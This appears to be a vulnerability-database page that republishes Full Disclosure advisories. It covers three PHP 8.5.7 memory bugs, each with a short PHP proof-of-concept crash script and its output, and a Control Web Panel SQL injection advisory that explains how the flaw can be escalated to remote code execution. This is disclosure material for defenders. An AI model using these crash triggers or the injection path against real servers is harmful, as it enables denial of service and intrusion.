https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Php PHP Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `dom_xml_serialization_algorithm()` and\n`dom_xml_serialize_element_node()` functions in\n`ext/dom/xml_serializer.c` rely on unbounded recursion to serialize\nXML nodes. When serializing a deeply nested XML tree, the continuous\nrecursive calls exhaust the thread\u0027s stack space, causing a\nsegmentation fault (SIGSEGV). This issue can be triggered via\n`Dom\\XMLDocument::saveXml()` or by accessing the `$innerHTML` /\n`$outerHTML` properties of `Dom\\XMLDocument` elements. Note that\n`Dom\\HTMLDocument` uses an iterative approach and is unaffected.\n\n## Proof of concept\n\n```php\n\u003c?php\n// A stack overflow occurs due to unbounded recursion in\n// dom_xml_serialization_algorithm() and dom_xml_serialize_element_node()\n// within ext/dom/xml_serializer.c (introduced in PHP 8.4/8.5).\n// The file\u0027s own TODO at line 41 notes:\n// \"TODO: implement iterative approach instead of recursive?\".\n//\n// Under the default 8MB thread stack, serializing a deeply nested XML\n// tree crashes PHP with a SIGSEGV (139). Running with `ulimit -s unlimited`\n// prevents the crash, proving it is stack exhaustion rather than a logic bug.\n//\n// The vulnerability is reachable via Dom\\XMLDocument::saveXml()\n// and the $innerHTML / $outerHTML properties of Dom\\XMLDocument elements.\n// Note that Dom\\HTMLDocument is unaffected, as its HTML5 serializer\n// (dom_html5_serialize_node) is iterative.\n\n$document = Dom\\XMLDocument::createEmpty();\n$root = $document-\u003ecreateElement(\u0027root\u0027);\n$document-\u003eappendChild($root);\n\n$current = $root;\n\n// This loop creates a deeply nested tree.\n// It crashes under the default stack limit but succeeds with `ulimit\n-s unlimited`.\nfor ($i = 0; $i \u003c 25000; $i++) {\n    $element = $document-\u003ecreateElement(\u0027e\u0027);\n    $current-\u003eappendChild($element);\n    $current = $element;\n}\n\n// This line is never reached under the default stack limit.\nvar_dump(strlen(@$document-\u003esaveXml()));\n```\n\nRunning the script results in:\n\n```bash\nSegmentation fault         (core dumped) php poc.php\n```\n\n## Impact\n\nAn attacker could cause a Denial of Service (DoS) by providing a\nmaliciously crafted, deeply nested XML document. If the application\nprocesses and attempts to serialize this untrusted structure, the PHP\nprocess will abruptly crash due to stack exhaustion.\n\n## Solution\n\nRefactor the serialization algorithm in `ext/dom/xml_serializer.c` to\nuse an iterative approach rather than unbounded recursion. A `TODO`\ncomment already exists in the file at line 41 (\"TODO: implement\niterative approach instead of recursive?\"). Alternatively, enforcing a\nhard limit on DOM nesting depth during creation and parsing could\nmitigate the exploitability.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/13"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/13"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0323",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/13",
            "automated": true,
            "contentSha256": "899246fabd1c4d2675d967a4fc75871f6b293548509602572958afbacfafd5ed",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:24:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0323"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0322

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow
Summary
# PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow **Author:** Khashayar Fereidani **Disclosure Date:** 2026-06-18 **Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow **Contact:** https://fereidani.com/contact ## Description The `mb_get_substr()` function in `ext/mbstring/mbstring.c` deliberately skips an early empty return guard for the `SJIS-mac` encoding when `from >= in_len`. As a result, it falls through to `mb_get_substr_slow()`, executing `mb_convert_buf_init(&buf, MIN(len, in_len - from), ...);`. When `from > in_len`, the parameter `in_len - from` underflows the `size_t` representation, resulting in a vastly large allocation size (near ~2^64 bytes). This leads to an immediate Out-Of-Memory (OOM) fatal error. Furthermore, if `_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could potentially allocate a tiny buffer while the structural limit retains the pseudo-wild value, resulting in a heap buffer overflow when subsequent codepoints are decoded and written. ## Proof of concept ```php <?php /* * PoC: mb_substr() 'SJIS-mac' size_t underflow * File: ext/mbstring/mbstring.c mb_get_substr() (~L2129) + mb_get_substr_slow() (~L2102) * * mb_get_substr() deliberately skips the early "return empty" guard for SJIS-mac: * * if (len == 0 || (from >= in_len && enc != &mbfl_encoding_sjis_mac)) { * return zend_empty_string; // <-- sjis_mac bypasses this when from >= in_len * } * * ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to * mb_get_substr_slow(), whose first line is: * * mb_convert_buf_init(&buf, MIN(len, in_len - from), ...); * * With `from > in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64. * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)). * * Two outcomes, both wrong (correct result is the empty string): * (A) `from` huge -> initsize ~2^64 -> fatal "Allowed memory size exhausted * (tried to allocate 18446744073708551644 bytes)". CONFIRMED below. * (B) `from` only slightly > in_len -> initsize sits just under 2^64 and * _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation, * while buf->limit = out + initsize stays wild -> a subsequent write of * decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably: * needs a SJIS-mac input decoding to more codepoints than bytes, i.e. * from < codepoint_count while from > byte_count. Worth upstream review.) */ echo "PHP ", PHP_VERSION, " sjis_mac available: ", (in_array("SJIS-mac", mb_list_encodings()) ? "yes" : "no"), "\n\n"; /* control: a normal encoding with from > strlen returns "" cleanly */ echo "UTF-8, from=10 > strlen('abc'): -> "; var_dump(@mb_substr("abc", 10, null, "UTF-8")); /* The bug: SJIS-mac, from >> strlen, length omitted -> underflow -> OOM fatal. * The "tried to allocate 18...644 bytes" is literally (size_t)(3 - 1000000). */ echo "SJIS-mac, from=1000000 > strlen('abc'):\n"; @mb_substr("abc", 1000000, null, "SJIS-mac"); echo "(if you see this line, the fatal error above was caught/suppressed)\n"; ``` ## Impact An attacker could intentionally furnish conditions where `from > in_len` alongside the 'SJIS-mac' encoding, triggering a `size_t` underflow. This predictably causes a severe Out-Of-Memory (OOM) fatal error, culminating in a Denial of Service. Depending on environmental details, it might hypothetically cause a heap buffer overflow. ## Solution Adjust the constraints inside `mb_get_substr()` and `mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation `in_len - from` should be adequately bounds-checked to halt computation or safely cap at zero when `from > in_len`, sidestepping the underflow when initializing string buffers. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Php PHP Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `mb_get_substr()` function in `ext/mbstring/mbstring.c`\ndeliberately skips an early empty return guard for the `SJIS-mac`\nencoding when `from \u003e= in_len`. As a result, it falls through to\n`mb_get_substr_slow()`, executing `mb_convert_buf_init(\u0026buf, MIN(len,\nin_len - from), ...);`. When `from \u003e in_len`, the parameter `in_len -\nfrom` underflows the `size_t` representation, resulting in a vastly\nlarge allocation size (near ~2^64 bytes). This leads to an immediate\nOut-Of-Memory (OOM) fatal error. Furthermore, if\n`_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could\npotentially allocate a tiny buffer while the structural limit retains\nthe pseudo-wild value, resulting in a heap buffer overflow when\nsubsequent codepoints are decoded and written.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * PoC: mb_substr() \u0027SJIS-mac\u0027 size_t underflow\n * File:  ext/mbstring/mbstring.c  mb_get_substr() (~L2129) +\nmb_get_substr_slow() (~L2102) *\n * mb_get_substr() deliberately skips the early \"return empty\" guard\nfor SJIS-mac:\n *\n *     if (len == 0 || (from \u003e= in_len \u0026\u0026 enc != \u0026mbfl_encoding_sjis_mac)) {\n *         return zend_empty_string;     // \u003c-- sjis_mac bypasses this\nwhen from \u003e= in_len\n *     }\n *\n * ... then falls through (sjis_mac is multibyte, not SBCS/WCS2/WCS4) to\n * mb_get_substr_slow(), whose first line is:\n *\n *     mb_convert_buf_init(\u0026buf, MIN(len, in_len - from), ...);\n *\n * With `from \u003e in_len` (bytes), `in_len - from` UNDERFLOWS size_t to ~2^64.\n * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).\n *\n * Two outcomes, both wrong (correct result is the empty string):\n *  (A) `from` huge -\u003e initsize ~2^64 -\u003e fatal \"Allowed memory size exhausted\n *      (tried to allocate 18446744073708551644 bytes)\". CONFIRMED below.\n *  (B) `from` only slightly \u003e in_len -\u003e initsize sits just under 2^64 and\n *      _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,\n *      while buf-\u003elimit = out + initsize stays wild -\u003e a subsequent write of\n *      decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:\n *      needs a SJIS-mac input decoding to more codepoints than bytes, i.e.\n *      from \u003c codepoint_count while from \u003e byte_count. Worth upstream review.)\n */\necho \"PHP \", PHP_VERSION, \"  sjis_mac available: \",\n     (in_array(\"SJIS-mac\", mb_list_encodings()) ? \"yes\" : \"no\"), \"\\n\\n\";\n\n/* control: a normal encoding with from \u003e strlen returns \"\" cleanly */\necho \"UTF-8, from=10 \u003e strlen(\u0027abc\u0027): -\u003e \"; var_dump(@mb_substr(\"abc\",\n10, null, \"UTF-8\"));\n\n/* The bug: SJIS-mac, from \u003e\u003e strlen, length omitted -\u003e underflow -\u003e OOM fatal.\n * The \"tried to allocate 18...644 bytes\" is literally (size_t)(3 - 1000000). */\necho \"SJIS-mac, from=1000000 \u003e strlen(\u0027abc\u0027):\\n\";\n@mb_substr(\"abc\", 1000000, null, \"SJIS-mac\");\necho \"(if you see this line, the fatal error above was caught/suppressed)\\n\";\n```\n\n## Impact\n\nAn attacker could intentionally furnish conditions where `from \u003e\nin_len` alongside the \u0027SJIS-mac\u0027 encoding, triggering a `size_t`\nunderflow. This predictably causes a severe Out-Of-Memory (OOM) fatal\nerror, culminating in a Denial of Service. Depending on environmental\ndetails, it might hypothetically cause a heap buffer overflow.\n\n## Solution\n\nAdjust the constraints inside `mb_get_substr()` and\n`mb_get_substr_slow()` in `ext/mbstring/mbstring.c`. The calculation\n`in_len - from` should be adequately bounds-checked to halt\ncomputation or safely cap at zero when `from \u003e in_len`, sidestepping\nthe underflow when initializing string buffers.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/12"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-mbsubstr-sjis-mac-sizet-underflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `mb_substr()` \u0027SJIS-mac\u0027 size_t underflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0322",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/12",
            "automated": true,
            "contentSha256": "1a56f6306615be693571f8da2403bba1e3c2530e6420451db521debf9559a671",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:23:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0322"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0321

Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
Title
PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read
Summary
# PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read **Author:** Khashayar Fereidani **Disclosure Date:** 2026-06-18 **Advisory:** https://fereidani.com/php-857-filtersanitizeencoded-uninitialized-read **Contact:** https://fereidani.com/contact ## Description In `ext/filter/sanitizing_filters.c`, the `php_filter_encode_url` function leaves the `255`th byte (`0xFF`) of a transient array uninitialized. An array of 256 bytes is populated using `memset(tmp, 1, sizeof(tmp) - 1)`, resulting in `tmp[255]` remaining uninitialized. When `FILTER_SANITIZE_ENCODED` is applied, this array acts as a lookup table to determine whether an input byte should be percent-encoded. Consequently, whether the byte `0xFF` is encoded or left as-is depends on whatever value happened to be on the stack. ## Proof of concept ```php <?php /* * FILTER_SANITIZE_ENCODED uninitialized read (ext/filter/sanitizing_filters.c:73). * * php_filter_encode_url() does: * unsigned char tmp[256]; * memset(tmp, 1, sizeof(tmp) - 1); // sets tmp[0..254] = 1, leaves tmp[255] UNINIT * ... * if (tmp[*s]) { percent-encode } else { keep } * * So byte 0xFF (index 255) is read UNINITIALIZED: whether it is percent-encoded * depends on whatever was on the stack. Every other byte is encoded * deterministically. Effect: inconsistent URL-encoding of 0xFF (low severity; * no crash / no memory corruption, just UB + nondeterministic sanitizing). * * Run: php poc.php * expect: 0xFF kept RAW (ff...) while 0xFE is correctly percent-encoded (%FE) */ $out = filter_var("\xff\xfeabc", FILTER_SANITIZE_ENCODED); echo "in : ", bin2hex("\xff\xfeabc"), "\n"; echo "out: ", bin2hex($out), "\n"; echo "0xFF was kept raw and 0xFE was percent-encoded => tmp[255] read uninitialized.\n"; ``` Running the script results in: ```bash in : fffe616263 out: ff254645616263 0xFF was kept raw and 0xFE was percent-encoded => tmp[255] read uninitialized. ``` ## Impact The impact is low. No crashes or memory corruption can occur as a result of this bug. The sole impact is nondeterministic sanitizing of the `0xFF` byte, which leads to inconsistent URL-encoding based on uninitialized stack data unless it smartly gets used among other vulnerabilities in a chain. ## Solution Replace `sizeof(tmp) - 1` with `sizeof(tmp)` in the `memset` call in `ext/filter/sanitizing_filters.c` to fully initialize the lookup table. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Php PHP Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-filtersanitizeencoded-uninitialized-read\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nIn `ext/filter/sanitizing_filters.c`, the `php_filter_encode_url`\nfunction leaves the `255`th byte (`0xFF`) of a transient array\nuninitialized. An array of 256 bytes is populated using `memset(tmp,\n1, sizeof(tmp) - 1)`, resulting in `tmp[255]` remaining uninitialized.\nWhen `FILTER_SANITIZE_ENCODED` is applied, this array acts as a lookup\ntable to determine whether an input byte should be percent-encoded.\nConsequently, whether the byte `0xFF` is encoded or left as-is depends\non whatever value happened to be on the stack.\n\n## Proof of concept\n\n```php\n\u003c?php\n/*\n * FILTER_SANITIZE_ENCODED uninitialized read\n(ext/filter/sanitizing_filters.c:73).\n *\n * php_filter_encode_url() does:\n *     unsigned char tmp[256];\n *     memset(tmp, 1, sizeof(tmp) - 1);   // sets tmp[0..254] = 1,\nleaves tmp[255] UNINIT\n *     ...\n *     if (tmp[*s]) { percent-encode } else { keep }\n *\n * So byte 0xFF (index 255) is read UNINITIALIZED: whether it is percent-encoded\n * depends on whatever was on the stack. Every other byte is encoded\n * deterministically. Effect: inconsistent URL-encoding of 0xFF (low severity;\n * no crash / no memory corruption, just UB + nondeterministic sanitizing).\n *\n * Run:  php poc.php\n *   expect: 0xFF kept RAW (ff...) while 0xFE is correctly percent-encoded (%FE)\n */\n$out = filter_var(\"\\xff\\xfeabc\", FILTER_SANITIZE_ENCODED);\necho \"in : \", bin2hex(\"\\xff\\xfeabc\"), \"\\n\";\necho \"out: \", bin2hex($out), \"\\n\";\necho \"0xFF was kept raw and 0xFE was percent-encoded =\u003e tmp[255] read\nuninitialized.\\n\";\n```\n\nRunning the script results in:\n\n```bash\nin : fffe616263\nout: ff254645616263\n0xFF was kept raw and 0xFE was percent-encoded =\u003e tmp[255] read uninitialized.\n```\n\n## Impact\n\nThe impact is low. No crashes or memory corruption can occur as a\nresult of this bug. The sole impact is nondeterministic sanitizing of\nthe `0xFF` byte, which leads to inconsistent URL-encoding based on\nuninitialized stack data unless it smartly gets used among other\nvulnerabilities in a chain.\n\n## Solution\n\nReplace `sizeof(tmp) - 1` with `sizeof(tmp)` in the `memset` call in\n`ext/filter/sanitizing_filters.c` to fully initialize the lookup\ntable.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/11"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/11"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-filtersanitizeencoded-uninitialized-read"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/11"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0321",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/11",
            "automated": true,
            "contentSha256": "cd252d9e44c3c678217a7e75865750ba301ec028f67e430852bfb74f7f5c179d",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/11",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:22:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0321"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0145

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 07:49
VLAI
Title
[KIS-2026-12] Control Web Panel <= 0.9.8.1224 (userRes) SQL Injection Vulnerability
Summary
--------------------------------------------------------------------- Control Web Panel <= 0.9.8.1224 (userRes) SQL Injection Vulnerability --------------------------------------------------------------------- [-] Software Link: https://control-webpanel.com [-] Affected Versions: Version 0.9.8.1224 and prior versions. [-] Vulnerability Description: User input passed through the "userRes" POST parameter to https://[CWP_Host]:2083/[CWP_Username]/ is not properly sanitized before being used to construct an SQL query. This can be exploited by remote, unauthenticated attackers to carry out (blind) SQL Injection attacks. Successful exploitation of this vulnerability requires the attacker to know or correctly guess the username of a valid non-root account on the affected CWP instance. NOTE: successful exploitation allows an unauthenticated attacker to execute arbitrary SQL queries with the privileges of the MySQL root user. Because this account possesses the global FILE privilege, the vulnerability can be leveraged to write arbitrary files to writable locations on the underlying filesystem using MySQL's file output capabilities (e.g., INTO DUMPFILE). By writing a malicious PHP payload to the web-accessible /usr/local/cwpsrv/var/services/roundcube/logs/ directory, an attacker might be able to execute arbitrary PHP code remotely, resulting in full Remote Code Execution (RCE) on the affected CWP instance with the privileges of the 'cwpsvc' account. [-] Proof of Concept: https://karmainsecurity.com/pocs/CVE-2026-57517.php [-] Solution: Upgrade to version 0.9.8.1225 or later. [-] Disclosure Timeline: [XX/YY/2025] - Vulnerability discovered [06/05/2026] - Version 0.9.8.1225 released, issue fixed by the vendor [26/06/2026] - CVE identifier requested [26/06/2026] - CVE identifier assigned [01/07/2026] - Public disclosure [-] CVE Reference: CVE-2026-57517 has been assigned to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: https://karmainsecurity.com/KIS-2026-12 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Control Web Panel",
          "vendor": "Control Web Panel",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Egidio Romano"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "---------------------------------------------------------------------\nControl Web Panel \u003c= 0.9.8.1224 (userRes) SQL Injection Vulnerability\n---------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://control-webpanel.com\n\n\n[-] Affected Versions:\n\nVersion 0.9.8.1224 and prior versions.\n\n\n[-] Vulnerability Description:\n\nUser input passed through the \"userRes\" POST parameter to\nhttps://[CWP_Host]:2083/[CWP_Username]/\nis not properly sanitized before being used to construct an SQL query. This\ncan be exploited by remote, unauthenticated attackers to carry out (blind)\nSQL Injection attacks.\n\nSuccessful exploitation of this vulnerability requires the attacker to know\nor correctly guess the username of a valid non-root account on the affected\nCWP instance.\n\nNOTE: successful exploitation allows an unauthenticated attacker to execute\narbitrary SQL queries with the privileges of the MySQL root user. Because\nthis account possesses the global FILE privilege, the vulnerability can be\nleveraged to write arbitrary files to writable locations on the underlying\nfilesystem using MySQL\u0027s file output capabilities (e.g., INTO DUMPFILE). By\nwriting a malicious PHP payload to the web-accessible\n/usr/local/cwpsrv/var/services/roundcube/logs/ directory, an attacker might\nbe able to execute arbitrary PHP code remotely, resulting in full Remote\nCode Execution (RCE) on the affected CWP instance with the privileges of\nthe \u0027cwpsvc\u0027 account.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/CVE-2026-57517.php\n\n\n[-] Solution:\n\nUpgrade to version 0.9.8.1225 or later.\n\n\n[-] Disclosure Timeline:\n\n[XX/YY/2025] - Vulnerability discovered\n[06/05/2026] - Version 0.9.8.1225 released, issue fixed by the vendor\n[26/06/2026] - CVE identifier requested\n[26/06/2026] - CVE identifier assigned\n[01/07/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-57517 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-12\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:49:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/9"
        },
        {
          "url": "https://control-webpanel.com"
        },
        {
          "url": "https://karmainsecurity.com/KIS-2026-12"
        },
        {
          "url": "https://karmainsecurity.com/pocs/CVE-2026-57517.php"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[KIS-2026-12] Control Web Panel \u003c= 0.9.8.1224 (userRes) SQL Injection Vulnerability",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0145",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/9",
            "automated": true,
            "contentSha256": "743696f1381dc1bbfe8903f6923a3621672d1520f66afabb1e9b6051368677f1",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-01T09:49:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-11T07:49:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0145"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0252

Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-11 07:39
VLAI
Title
Full disclosure: Impersonation attacks on Edupage portal
Summary
